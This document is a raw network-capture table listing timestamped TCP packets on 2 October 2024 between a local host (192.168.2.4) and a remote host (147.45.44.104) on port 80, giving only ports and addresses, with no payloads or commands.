Oct 2, 2024 05:20:12.789942026 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789947987 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789953947 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789961100 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789972067 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789984941 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790005922 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790195942 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790208101 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790219069 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790230989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790232897 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790242910 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790244102 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790255070 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790266991 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790266991 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790280104 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790281057 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790292025 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790297985 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790304899 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790307999 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790323019 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790323019 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790335894 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790342093 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790349007 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790361881 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790373087 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790394068 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790724039 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790735006 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790745974 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790759087 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790770054 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790772915 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790781975 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790782928 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790793896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790806055 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790807962 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790819883 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790828943 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790832043 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.790843964 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790878057 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.790878057 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.791078091 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.791090012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.791105032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.791117907 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.791131020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.791131020 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.791131020 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.791152954 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.791166067 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873485088 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873511076 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873521090 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873533010 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873539925 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873548031 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873562098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873588085 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873594046 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873622894 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873637915 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873692989 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873692989 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873693943 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873738050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873761892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873779058 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873783112 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873790026 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873821974 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873846054 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873891115 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873902082 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873944044 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.873980999 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.873992920 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874003887 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874017000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874021053 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874056101 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874119043 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874133110 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874164104 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874181986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874238968 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874250889 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874262094 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874274015 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874283075 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874286890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874313116 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874336958 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874372959 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874383926 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874393940 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874413967 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874418974 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874428034 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874432087 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874444008 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874454975 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874456882 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874468088 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874480963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874507904 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874675989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874687910 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874707937 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874717951 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874727011 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874731064 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874747038 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874773979 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874934912 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874946117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874957085 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874977112 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.874983072 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.874989033 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875003099 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875005960 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875015020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875027895 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875034094 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875044107 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875066996 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875250101 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875262022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875279903 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875291109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875298023 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875303030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875314951 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875319004 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875325918 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875328064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875339985 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875351906 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875358105 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875363111 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875389099 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875406981 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875559092 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875571012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875600100 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875613928 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875720024 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875732899 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875746012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875758886 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875772953 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875772953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875785112 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875794888 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875797033 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875809908 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875804901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875818968 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875822067 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875833988 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875837088 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875844955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875859022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.875869989 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875869989 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875883102 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.875895977 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876193047 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876204967 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876215935 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876226902 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876238108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876240015 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876245022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876264095 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876270056 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876271963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876283884 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876293898 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876295090 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876303911 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876307964 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876321077 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876333952 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876338005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876338005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876347065 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876351118 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876362085 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876367092 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876396894 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876396894 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876765966 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876777887 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876791000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876802921 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876812935 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876815081 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876827955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.876835108 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876843929 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.876864910 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877044916 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877059937 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877070904 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877082109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877094030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877098083 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877098083 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877105951 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877113104 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877118111 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877126932 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877130032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877144098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877163887 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877199888 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877213001 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877223969 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877237082 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877249002 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877249956 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877260923 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877264023 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877275944 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877279043 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877290010 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877294064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877302885 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877314091 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877316952 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877324104 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877329111 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877341986 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877345085 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877353907 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877357006 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877381086 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877393961 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877893925 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877904892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877911091 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877923012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.877950907 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.877966881 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960133076 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960165024 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960177898 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960197926 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960210085 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960215092 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960222006 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960232019 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960253000 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960267067 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960299969 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960325003 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960346937 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960361004 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960378885 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960390091 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960401058 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960412025 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960413933 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960444927 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960468054 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960468054 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960551023 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960561991 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960572958 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960587025 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960597038 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960606098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960619926 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960632086 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960695982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960706949 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960716009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960728884 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960741043 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960742950 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960755110 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960766077 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960798979 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960819960 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960861921 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960932970 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960944891 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960959911 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960971117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960982084 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.960984945 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.960993052 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961004019 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961004972 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961021900 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961162090 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961174011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961230993 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961251020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961261988 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961272955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961286068 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961287022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961299896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961301088 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961311102 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961345911 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961460114 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961472034 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961484909 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961497068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961508989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961518049 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961520910 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961534023 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961549044 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961549044 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961591005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961672068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961735964 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961760044 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961771011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961785078 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961792946 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961812019 CEST	49782	80	192.168.2.4	147.45.44.104
